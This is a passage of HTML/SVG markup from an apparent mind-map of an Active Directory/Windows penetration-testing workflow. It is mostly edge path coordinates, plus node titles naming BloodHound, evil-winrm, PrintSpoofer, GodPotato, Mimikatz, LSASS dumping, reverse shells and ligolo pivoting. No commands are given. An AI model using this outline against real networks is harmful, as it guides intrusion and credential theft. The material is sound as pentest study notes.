1502, 11320 1502" class="edge_w3jW" fill="none"></path><path d="M 11800 1502 C 13429 1502, 6551 6655, 8180 6655" class="edge_w3jW" fill="none"></path><path d="M 11800 1502 C 12016 1502, 11104 6970, 11320 6970" class="edge_w3jW" fill="none"></path><path d="M 11800 1502 C 13429 1502, 6551 10032, 8180 10032" class="edge_w3jW" fill="none"></path><path d="M 12400 687 C 14029 687, 7151 6742, 8780 6742" class="edge_w3jW" fill="none"></path><path d="M 12400 1737 C 14299 1737, 6281 7495, 8180 7495" class="edge_w3jW" fill="none"></path><path d="M 8660 6655 C 8756 6655, 8684 6917, 8780 6917" class="edge_w3jW" fill="none"></path><path d="M 4920 3932 C 5016 3932, 4944 7162, 5040 7162" class="edge_w3jW" fill="none"></path><path d="M 4920 3932 C 5016 3932, 4944 7337, 5040 7337" class="edge_w3jW" fill="none"></path><path d="M 4920 3932 C 5016 3932, 4944 7512, 5040 7512" class="edge_w3jW" fill="none"></path><path d="M 4920 3932 C 5016 3932, 4944 7687, 5040 7687" class="edge_w3jW" fill="none"></path><path d="M 4920 3932 C 5016 3932, 4944 7862, 5040 7862" class="edge_w3jW" fill="none"></path><path d="M 4920 3932 C 5016 3932, 4944 8037, 5040 8037" class="edge_w3jW" fill="none"></path><path d="M 5520 1037 C 5616 1037, 5544 1387, 5640 1387" class="edge_w3jW" fill="none"></path><path d="M 5520 7162 C 6987 7162, 7313 7757, 8780 7757" class="edge_w3jW" fill="none"></path><path d="M 12400 1737 C 15712 1737, 1728 7162, 5040 7162" class="edge_w3jW" fill="none"></path><path d="M 8660 5552 C 8756 5552, 8684 5027, 8780 5027" class="edge_w3jW" fill="none"></path><path d="M 8660 5552 C 8756 5552, 8684 5202, 8780 5202" class="edge_w3jW" fill="none"></path><path d="M 8660 5552 C 8756 5552, 8684 5377, 8780 5377" class="edge_w3jW" fill="none"></path><path d="M 8660 5552 C 8756 5552, 8684 5552, 8780 5552" class="edge_w3jW" fill="none"></path><path d="M 8660 5552 C 8756 5552, 8684 5727, 8780 5727" class="edge_w3jW" fill="none"></path><path d="M 8660 5552 C 8756 5552, 8684 5902, 8780 5902" class="edge_w3jW" fill="none"></path><path d="M 8660 5552 C 8756 5552, 8684 6077, 8780 6077" class="edge_w3jW" fill="none"></path><path d="M 580 162 C 4000 162, 4760 5552, 8180 5552" class="edge_w3jW" fill="none"></path><path d="M 11800 1502 C 13429 1502, 6551 5552, 8180 5552" class="edge_w3jW" fill="none"></path><path d="M 8660 6655 C 8876 6655, 7964 5552, 8180 5552" class="edge_w3jW" fill="none"></path><path d="M 11800 1502 C 11896 1502, 11824 2525, 11920 2525" class="edge_w3jW" fill="none"></path><path d="M 11800 1502 C 11896 1502, 11824 2787, 11920 2787" class="edge_w3jW" fill="none"></path><path d="M 11800 1502 C 11896 1502, 11824 2962, 11920 2962" class="edge_w3jW" fill="none"></path><path d="M 12400 2962 C 15712 2962, 1728 8702, 5040 8702" class="edge_w3jW" fill="none"></path><path d="M 12400 2962 C 15712 2962, 1728 8527, 5040 8527" class="edge_w3jW" fill="none"></path><path d="M 12400 2787 C 12616 2787, 11704 6707, 11920 6707" class="edge_w3jW" fill="none"></path><path d="M 12400 2787 C 12616 2787, 11704 7232, 11920 7232" class="edge_w3jW" fill="none"></path><path d="M 12400 2525 C 12496 2525, 12424 2437, 12520 2437" class="edge_w3jW" fill="none"></path><path d="M 12400 2525 C 12496 2525, 12424 2612, 12520 2612" class="edge_w3jW" fill="none"></path><path d="M 580 162 C 676 162, 604 5193, 700 5193" class="edge_w3jW" fill="none"></path><path d="M 1180 5193 C 1276 5193, 1204 1475, 1300 1475" class="edge_w3jW" fill="none"></path><path d="M 1180 5193 C 1276 5193, 1204 3750, 1300 3750" class="edge_w3jW" fill="none"></path><path d="M 1180 5193 C 1276 5193, 1204 4800, 1300 4800" class="edge_w3jW" fill="none"></path><path d="M 1180 5193 C 1276 5193, 1204 5675, 1300 5675" class="edge_w3jW" fill="none"></path><path d="M 1780 4800 C 2266 4800, 214 10102, 700 10102" class="edge_w3jW" fill="none"></path><path d="M 1780 4800 C 1996 4800, 1084 10102, 1300 10102" class="edge_w3jW" fill="none"></path><path d="M 1780 5675 C 6613 5675, 7687 4677, 12520 4677" class="edge_w3jW" fill="none"></path><path d="M 1780 3750 C 2977 3750, 3243 3932, 4440 3932" class="edge_w3jW" fill="none"></path><path d="M 1780 1475 C 6073 1475, 7027 1502, 11320 1502" class="edge_w3jW" fill="none"></path><path d="M 1780 1475 C 6073 1475, 7027 4240, 11320 4240" class="edge_w3jW" fill="none"></path><path d="M 1780 1475 C 1876 1475, 1804 162, 1900 162" class="edge_w3jW" fill="none"></path><path d="M 1780 1475 C 1876 1475, 1804 337, 1900 337" class="edge_w3jW" fill="none"></path><path d="M 1780 1475 C 1876 1475, 1804 512, 1900 512" class="edge_w3jW" fill="none"></path><path d="M 1780 1475 C 1876 1475, 1804 687, 1900 687" class="edge_w3jW" fill="none"></path><path d="M 1780 1475 C 1876 1475, 1804 862, 1900 862" class="edge_w3jW" fill="none"></path><path d="M 1780 1475 C 1876 1475, 1804 1825, 1900 1825" class="edge_w3jW" fill="none"></path><path d="M 1780 1475 C 1876 1475, 1804 2787, 1900 2787" class="edge_w3jW" fill="none"></path><path d="M 1780 1475 C 1876 1475, 1804 2962, 1900 2962" class="edge_w3jW" fill="none"></path><path d="M 1780 1475 C 4660 1475, 5300 6655, 8180 6655" class="edge_w3jW" fill="none"></path><path d="M 1780 3750 C 1876 3750, 1804 3312, 1900 3312" class="edge_w3jW" fill="none"></path><path d="M 1780 3750 C 1876 3750, 1804 3487, 1900 3487" class="edge_w3jW" fill="none"></path><path d="M 1780 3750 C 1876 3750, 1804 3662, 1900 3662" class="edge_w3jW" fill="none"></path><path d="M 1780 3750 C 1876 3750, 1804 3837, 1900 3837" class="edge_w3jW" fill="none"></path><path d="M 1780 3750 C 1876 3750, 1804 4012, 1900 4012" class="edge_w3jW" fill="none"></path><path d="M 1780 3750 C 1876 3750, 1804 4187, 1900 4187" class="edge_w3jW" fill="none"></path><path d="M 13000 4152 C 13486 4152, 11434 4152, 11920 4152" class="edge_w3jW" fill="none"></path><path d="M 12400 4152 C 12496 4152, 12424 4152, 12520 4152" class="edge_w3jW" fill="none"></path><path d="M 2380 4187 C 6943 4187, 7957 4152, 12520 4152" class="edge_w3jW" fill="none"></path><path d="M 1780 3750 C 6613 3750, 7687 4152, 12520 4152" class="edge_w3jW" fill="none"></path><path d="M 1780 3750 C 6073 3750, 7027 6970, 11320 6970" class="edge_w3jW" fill="none"></path><path d="M 1780 4800 C 1876 4800, 1804 4362, 1900 4362" class="edge_w3jW" fill="none"></path><path d="M 1780 4800 C 1876 4800, 1804 4537, 1900 4537" class="edge_w3jW" fill="none"></path><path d="M 1780 4800 C 1876 4800, 1804 4712, 1900 4712" class="edge_w3jW" fill="none"></path><path d="M 1780 4800 C 1876 4800, 1804 4887, 1900 4887" class="edge_w3jW" fill="none"></path><path d="M 1780 4800 C 1876 4800, 1804 5062, 1900 5062" class="edge_w3jW" fill="none"></path><path d="M 1780 5675 C 1876 5675, 1804 5412, 1900 5412" class="edge_w3jW" fill="none"></path><path d="M 1780 5675 C 1876 5675, 1804 5587, 1900 5587" class="edge_w3jW" fill="none"></path><path d="M 1780 5675 C 1876 5675, 1804 5762, 1900 5762" class="edge_w3jW" fill="none"></path><path d="M 1780 5675 C 1876 5675, 1804 5937, 1900 5937" class="edge_w3jW" fill="none"></path><path d="M 1780 1475 C 1876 1475, 1804 3137, 1900 3137" class="edge_w3jW" fill="none"></path><path d="M 2380 1825 C 2476 1825, 2404 1037, 2500 1037" class="edge_w3jW" fill="none"></path><path d="M 2380 1825 C 2476 1825, 2404 1212, 2500 1212" class="edge_w3jW" fill="none"></path><path d="M 2980 1037 C 3196 1037, 2284 1212, 2500 1212" class="edge_w3jW" fill="none"></path><path d="M 2380 1825 C 2476 1825, 2404 1387, 2500 1387" class="edge_w3jW" fill="none"></path><path d="M 2980 1212 C 3196 1212, 2284 1387, 2500 1387" class="edge_w3jW" fill="none"></path><path d="M 2380 1825 C 2476 1825, 2404 1562, 2500 1562" class="edge_w3jW" fill="none"></path><path d="M 2980 1387 C 3196 1387, 2284 1562, 2500 1562" class="edge_w3jW" fill="none"></path><path d="M 2380 1825 C 2476 1825, 2404 1737, 2500 1737" class="edge_w3jW" fill="none"></path><path d="M 2980 1562 C 3196 1562, 2284 1737, 2500 1737" class="edge_w3jW" fill="none"></path><path d="M 2380 1825 C 2476 1825, 2404 1912, 2500 1912" class="edge_w3jW" fill="none"></path><path d="M 2980 1737 C 3196 1737, 2284 1912, 2500 1912" class="edge_w3jW" fill="none"></path><path d="M 2380 1825 C 2476 1825, 2404 2087, 2500 2087" class="edge_w3jW" fill="none"></path><path d="M 2980 1912 C 3196 1912, 2284 2087, 2500 2087" class="edge_w3jW" fill="none"></path><path d="M 2380 1825 C 2476 1825, 2404 2262, 2500 2262" class="edge_w3jW" fill="none"></path><path d="M 2980 2087 C 3196 2087, 2284 2262, 2500 2262" class="edge_w3jW" fill="none"></path><path d="M 2380 1825 C 2476 1825, 2404 2437, 2500 2437" class="edge_w3jW" fill="none"></path><path d="M 2980 2262 C 3196 2262, 2284 2437, 2500 2437" class="edge_w3jW" fill="none"></path><path d="M 2380 1825 C 2476 1825, 2404 2612, 2500 2612" class="edge_w3jW" fill="none"></path><path d="M 2980 2437 C 3196 2437, 2284 2612, 2500 2612" class="edge_w3jW" fill="none"></path><path d="M 2380 2787 C 2596 2787, 1684 5237, 1900 5237" class="edge_w3jW" fill="none"></path><path d="M 1780 4800 C 1876 4800, 1804 5237, 1900 5237" class="edge_w3jW" fill="none"></path><path d="M 1780 7075 C 1876 7075, 1804 6112, 1900 6112" class="edge_w3jW" fill="none"></path><path d="M 1780 7075 C 1876 7075, 1804 6287, 1900 6287" class="edge_w3jW" fill="none"></path><path d="M 1780 7075 C 1876 7075, 1804 6462, 1900 6462" class="edge_w3jW" fill="none"></path><path d="M 1780 7075 C 1876 7075, 1804 6637, 1900 6637" class="edge_w3jW" fill="none"></path><path d="M 1780 7075 C 1876 7075, 1804 6812, 1900 6812" class="edge_w3jW" fill="none"></path><path d="M 1780 7075 C 1876 7075, 1804 6987, 1900 6987" class="edge_w3jW" fill="none"></path><path d="M 1780 7075 C 1876 7075, 1804 7162, 1900 7162" class="edge_w3jW" fill="none"></path><path d="M 1780 7075 C 1876 7075, 1804 7337, 1900 7337" class="edge_w3jW" fill="none"></path><path d="M 1780 7075 C 1876 7075, 1804 7512, 1900 7512" class="edge_w3jW" fill="none"></path><path d="M 1780 7075 C 1876 7075, 1804 7687, 1900 7687" class="edge_w3jW" fill="none"></path><path d="M 1780 7075 C 1876 7075, 1804 7862, 1900 7862" class="edge_w3jW" fill="none"></path><path d="M 1180 5193 C 1276 5193, 1204 7075, 1300 7075" class="edge_w3jW" fill="none"></path><path d="M 1180 5193 C 1276 5193, 1204 8212, 1300 8212" class="edge_w3jW" fill="none"></path><path d="M 1780 1475 C 1996 1475, 1084 8212, 1300 8212" class="edge_w3jW" fill="none"></path><path d="M 1780 1475 C 1996 1475, 1084 7075, 1300 7075" class="edge_w3jW" fill="none"></path><path d="M 2380 337 C 2866 337, 814 7075, 1300 7075" class="edge_w3jW" fill="none"></path><path d="M 2380 512 C 2596 512, 1684 6637, 1900 6637" class="edge_w3jW" fill="none"></path><path d="M 2380 512 C 2596 512, 1684 6812, 1900 6812" class="edge_w3jW" fill="none"></path><path d="M 2380 687 C 2596 687, 1684 7512, 1900 7512" class="edge_w3jW" fill="none"></path><path d="M 2380 687 C 2596 687, 1684 7687, 1900 7687" class="edge_w3jW" fill="none"></path><path d="M 2380 1825 C 2596 1825, 1684 6987, 1900 6987" class="edge_w3jW" fill="none"></path><path d="M 2980 2087 C 3466 2087, 1414 7862, 1900 7862" class="edge_w3jW" fill="none"></path><path d="M 2980 2087 C 3466 2087, 1414 6287, 1900 6287" class="edge_w3jW" fill="none"></path><path d="M 1780 7075 C 1876 7075, 1804 8037, 1900 8037" class="edge_w3jW" fill="none"></path><path d="M 1780 7075 C 3517 7075, 3903 512, 5640 512" class="edge_w3jW" fill="none"></path><path d="M 2380 1825 C 2596 1825, 1684 8037, 1900 8037" class="edge_w3jW" fill="none"></path><path d="M 2980 1737 C 3466 1737, 1414 8037, 1900 8037" class="edge_w3jW" fill="none"></path><path d="M 12400 2525 C 15442 2525, 2598 512, 5640 512" class="edge_w3jW" fill="none"></path><path d="M 5520 425 C 5616 425, 5544 512, 5640 512" class="edge_w3jW" fill="none"></path><path d="M 6120 512 C 6336 512, 5424 337, 5640 337" class="edge_w3jW" fill="none"></path><path d="M 6120 512 C 9000 512, 9640 2612, 12520 2612" class="edge_w3jW" fill="none"></path><path d="M 2380 8037 C 3307 8037, 3513 9962, 4440 9962" class="edge_w3jW" fill="none"></path><path d="M 1780 8212 C 3517 8212, 3903 512, 5640 512" class="edge_w3jW" fill="none"></path><path d="M 2980 1212 C 3466 1212, 1414 8037, 1900 8037" class="edge_w3jW" fill="none"></path><path d="M 580 162 C 4000 162, 4760 8335, 8180 8335" class="edge_w3jW" fill="none"></path><path d="M 8660 8335 C 8756 8335, 8684 8072, 8780 8072" class="edge_w3jW" fill="none"></path><path d="M 8660 8335 C 8756 8335, 8684 8247, 8780 8247" class="edge_w3jW" fill="none"></path><path d="M 8660 8335 C 8756 8335, 8684 8422, 8780 8422" class="edge_w3jW" fill="none"></path><path d="M 8660 8335 C 8756 8335, 8684 8597, 8780 8597" class="edge_w3jW" fill="none"></path><path d="M 9260 8072 C 12572 8072, -1412 5237, 1900 5237" class="edge_w3jW" fill="none"></path><path d="M 9260 8072 C 12572 8072, -1412 4362, 1900 4362" class="edge_w3jW" fill="none"></path><path d="M 9260 8072 C 13112 8072, -3152 10102, 700 10102" class="edge_w3jW" fill="none"></path><path d="M 9260 8247 C 9356 8247, 9284 8247, 9380 8247" class="edge_w3jW" fill="none"></path><path d="M 9260 8422 C 12842 8422, -2282 5675, 1300 5675" class="edge_w3jW" fill="none"></path><path d="M 9260 8422 C 10727 8422, 11053 4677, 12520 4677" class="edge_w3jW" fill="none"></path><path d="M 9260 8597 C 13112 8597, -3152 10102, 700 10102" class="edge_w3jW" fill="none"></path><path d="M 9260 8597 C 11159 8597, 3141 4625, 5040 4625" class="edge_w3jW" fill="none"></path><path d="M 9260 8597 C 10889 8597, 4011 3837, 5640 3837" class="edge_w3jW" fill="none"></path><path d="M 2380 2787 C 5260 2787, 5900 8072, 8780 8072" class="edge_w3jW" fill="none"></path><path d="M 1780 4800 C 4930 4800, 5630 8072, 8780 8072" class="edge_w3jW" fill="none"></path></svg><div class="node_UsvS" style="left:100px;top:100px;--node-accent:#ff6d5a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Windows</div><div class="nodeSub_aDGv">AD / Windows workflow</div></div></div></div><div class="node_UsvS" style="left:8180px;top:6593px;--node-accent:#4b9fff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Starting Point</div><div class="nodeSub_aDGv">Branch</div></div></div></div><div class="node_UsvS" style="left:8780px;top:6330px;--node-accent:#4b9fff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Nmap network scan</div><div class="nodeSub_aDGv">Starting Point</div></div></div></div><div class="node_UsvS" style="left:8780px;top:6505px;--node-accent:#4b9fff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Find hostnames &amp; domain name</div><div class="nodeSub_aDGv">Starting Point</div></div></div></div><div class="node_UsvS" style="left:8780px;top:6680px;--node-accent:#4b9fff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Initial access provided</div><div class="nodeSub_aDGv">Starting Point</div></div></div></div><div class="node_UsvS" style="left:11320px;top:6908px;--node-accent:#ff8c3a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Bloodhound Scan</div><div class="nodeSub_aDGv">Branch</div></div></div></div><div class="node_UsvS" style="left:11920px;top:6645px;--node-accent:#ff8c3a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Setup Bloodhound and bloodhound-python</div><div class="nodeSub_aDGv">Bloodhound Scan</div></div></div></div><div class="node_UsvS" style="left:11920px;top:6820px;--node-accent:#ff8c3a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Collect data using bloodhound-python</div><div class="nodeSub_aDGv">Bloodhound Scan</div></div></div></div><div class="node_UsvS" style="left:11920px;top:6995px;--node-accent:#ff8c3a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Start bloodhound and upload JSON files</div><div class="nodeSub_aDGv">Bloodhound Scan</div></div></div></div><div class="node_UsvS" style="left:11920px;top:7170px;--node-accent:#ff8c3a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Look for shortest path to DC</div><div class="nodeSub_aDGv">Bloodhound Scan</div></div></div></div><div class="node_UsvS" style="left:700px;top:8465px;--node-accent:#3ecf7a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Access shell</div><div class="nodeSub_aDGv">Branch</div></div></div></div><div class="node_UsvS" style="left:11920px;top:8990px;--node-accent:#3ecf7a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">If port 5985 open — evil-winrm</div><div class="nodeSub_aDGv">Access shell</div></div></div></div><div class="node_UsvS" style="left:1300px;top:8465px;--node-accent:#3ecf7a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">If port 445 open — impacket-psexec</div><div class="nodeSub_aDGv">Access shell</div></div></div></div><div class="node_UsvS" style="left:8180px;top:2993px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Enumerate User</div><div class="nodeSub_aDGv">Branch</div></div></div></div><div class="node_UsvS" style="left:8780px;top:100px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">whoami</div><div class="nodeSub_aDGv">Enumerate User</div></div></div></div><div class="node_UsvS" style="left:8780px;top:275px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Check if user is in Admin group</div><div class="nodeSub_aDGv">Enumerate User</div></div></div></div><div class="node_UsvS" style="left:8780px;top:1286px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">whoami /priv</div><div class="nodeSub_aDGv">Enumerate User</div></div></div></div><div class="node_UsvS" style="left:9380px;top:450px;--node-accent:#ff5c9a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">SeImpersonatePrivilege / SeAssignPrimaryTokenPrivilege</div><div class="nodeSub_aDGv">whoami /priv</div></div></div></div><div class="node_UsvS" style="left:5640px;top:3250px;--node-accent:#ff5c9a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Using PrintSpoofer</div><div class="nodeSub_aDGv">SeImpersonatePrivilege / SeAssignPrimaryTokenPrivilege</div></div></div></div><div class="node_UsvS" style="left:5640px;top:3425px;--node-accent:#ff5c9a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Using GodPotato</div><div class="nodeSub_aDGv">SeImpersonatePrivilege / SeAssignPrimaryTokenPrivilege</div></div></div></div><div class="node_UsvS" style="left:9380px;top:625px;--node-accent:#ff5c9a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">SeBackupPrivilege</div><div class="nodeSub_aDGv">whoami /priv</div></div></div></div><div class="node_UsvS" style="left:9380px;top:800px;--node-accent:#ff5c9a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">SeShutdownPrivilege</div><div class="nodeSub_aDGv">whoami /priv</div></div></div></div><div class="node_UsvS" style="left:9380px;top:975px;--node-accent:#ff5c9a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">SeRestorePrivilege</div><div class="nodeSub_aDGv">whoami /priv</div></div></div></div><div class="node_UsvS" style="left:9380px;top:1150px;--node-accent:#ff5c9a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">SeTakeOwnershipPrivilege</div><div class="nodeSub_aDGv">whoami /priv</div></div></div></div><div class="node_UsvS" style="left:9380px;top:1500px;--node-accent:#ff5c9a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">SeDebugPrivilege</div><div class="nodeSub_aDGv">whoami /priv</div></div></div></div><div class="node_UsvS" style="left:9980px;top:1325px;--node-accent:#ff5c9a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">SeDebug → psgetsys (SYSTEM)</div><div class="nodeSub_aDGv">SeDebugPrivilege</div></div></div></div><div class="node_UsvS" style="left:9980px;top:1500px;--node-accent:#ff5c9a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">SeDebug → Mimikatz</div><div class="nodeSub_aDGv">SeDebugPrivilege</div></div></div></div><div class="node_UsvS" style="left:9980px;top:1675px;--node-accent:#ff5c9a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">SeDebug → comsvcs LSASS dump</div><div class="nodeSub_aDGv">SeDebugPrivilege</div></div></div></div><div class="node_UsvS" style="left:9380px;top:1850px;--node-accent:#ff5c9a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">SeLoadDriverPrivilege</div><div class="nodeSub_aDGv">whoami /priv</div></div></div></div><div class="node_UsvS" style="left:9380px;top:2025px;--node-accent:#ff5c9a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">SeManageVolumePrivilege</div><div class="nodeSub_aDGv">whoami /priv</div></div></div></div><div class="node_UsvS" style="left:8780px;top:2375px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Store usernames for future enum</div><div class="nodeSub_aDGv">Enumerate User</div></div></div></div><div class="node_UsvS" style="left:8780px;top:2550px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">View all files and folders</div><div class="nodeSub_aDGv">Enumerate User</div></div></div></div><div class="node_UsvS" style="left:8780px;top:2725px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Search file contents</div><div class="nodeSub_aDGv">Enumerate User</div></div></div></div><div class="node_UsvS" style="left:8780px;top:2900px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Check internal ports/IPs</div><div class="nodeSub_aDGv">Enumerate User</div></div></div></div><div class="node_UsvS" style="left:8780px;top:3075px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Get service name</div><div class="nodeSub_aDGv">Enumerate User</div></div></div></div><div class="node_UsvS" style="left:8780px;top:3250px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Check running processes</div><div class="nodeSub_aDGv">Enumerate User</div></div></div></div><div class="node_UsvS" style="left:8780px;top:3425px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Check services</div><div class="nodeSub_aDGv">Enumerate User</div></div></div></div><div class="node_UsvS" style="left:8780px;top:3600px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Check scheduled services</div><div class="nodeSub_aDGv">Enumerate User</div></div></div></div><div class="node_UsvS" style="left:8780px;top:3775px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Find specific files</div><div class="nodeSub_aDGv">Enumerate User</div></div></div></div><div class="node_UsvS" style="left:8780px;top:3950px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Check non-Windows programs</div><div class="nodeSub_aDGv">Enumerate User</div></div></div></div><div class="node_UsvS" style="left:8780px;top:4125px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Look for .ini files</div><div class="nodeSub_aDGv">Enumerate User</div></div></div></div><div class="node_UsvS" style="left:8780px;top:4300px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Run winPEAS</div><div class="nodeSub_aDGv">Enumerate User</div></div></div></div><div class="node_UsvS" style="left:8780px;top:4475px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Get netcat</div><div class="nodeSub_aDGv">Enumerate User</div></div></div></div><div class="node_UsvS" style="left:8780px;top:4650px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Look at webfiles</div><div class="nodeSub_aDGv">Enumerate User</div></div></div></div><div class="node_UsvS" style="left:11320px;top:8500px;--node-accent:#f0c000"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Enumerate Admin</div><div class="nodeSub_aDGv">Branch</div></div></div></div><div class="node_UsvS" style="left:11920px;top:8325px;--node-accent:#f0c000"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Execute Mimikatz</div><div class="nodeSub_aDGv">Enumerate Admin</div></div></div></div><div class="node_UsvS" style="left:11920px;top:8500px;--node-accent:#f0c000"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Execute nxc dumps</div><div class="nodeSub_aDGv">Enumerate Admin</div></div></div></div><div class="node_UsvS" style="left:11920px;top:8675px;--node-accent:#f0c000"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Enumerate files/folders of all users</div><div class="nodeSub_aDGv">Enumerate Admin</div></div></div></div><div class="node_UsvS" style="left:11320px;top:9305px;--node-accent:#2ec4b6"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">On same shell — Invoke-Command</div><div class="nodeSub_aDGv">Branch</div></div></div></div><div class="node_UsvS" style="left:700px;top:8780px;--node-accent:#6b7cff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Reverse shell payload</div><div class="nodeSub_aDGv">Branch</div></div></div></div><div class="node_UsvS" style="left:8180px;top:9340px;--node-accent:#d2a8ff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Pivoting — ligolo</div><div class="nodeSub_aDGv">Branch</div></div></div></div><div class="node_UsvS" style="left:8180px;top:8938px;--node-accent:#4b9fff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Discover more</div><div class="nodeSub_aDGv">Branch</div></div></div></div><div class="node_UsvS" style="left:8780px;top:8850px;--node-accent:#4b9fff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Usernames — lookupsid</div><div class="nodeSub_aDGv">Discover more</div></div></div></div><div class="node_UsvS" 